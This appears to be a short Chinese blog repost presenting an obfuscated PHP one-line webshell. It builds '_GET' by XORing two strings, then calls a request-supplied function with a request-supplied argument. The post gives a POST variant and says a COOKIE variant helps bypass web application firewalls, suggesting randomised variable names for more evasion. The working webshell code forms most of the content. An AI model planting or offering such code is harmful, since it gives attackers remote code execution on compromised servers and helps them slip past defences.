今天看到如下图所示的PHP一句话,觉得挺有意思。

有趣的PHP一句话 Safe 第1张

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

代码如下:

<?=~$_='$<>/'^'{{{{';echo $_;@${$_}[_](@${$_}[__]);?>

 效果图:

有趣的PHP一句话 Safe 第2张

有趣的PHP一句话 Safe 第3张

看下图注释应该就可以一目了然了,就是根据异或运算得到$_=’_GET’。

有趣的PHP一句话 Safe 第4张

如果想换成POST方法,则可变化如下。

<?=~$_='$+4(/'^'{{{{{';@${$_}[_](@${$_}[__]);?>

效果图:

有趣的PHP一句话 Safe 第5张

换成COOKIE方法,则可变化如下,用于bypass waf更有用吧。这只是一种思路,这个句子还可以有很多种变形,比如随机变量名。

有趣的PHP一句话 Safe 第6张

有趣的PHP一句话 Safe 第7张

引用:

https://www.php.net/manual/zh/language.operators.bitwise.php

http://asciima.com/

  转载请注明出处。

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄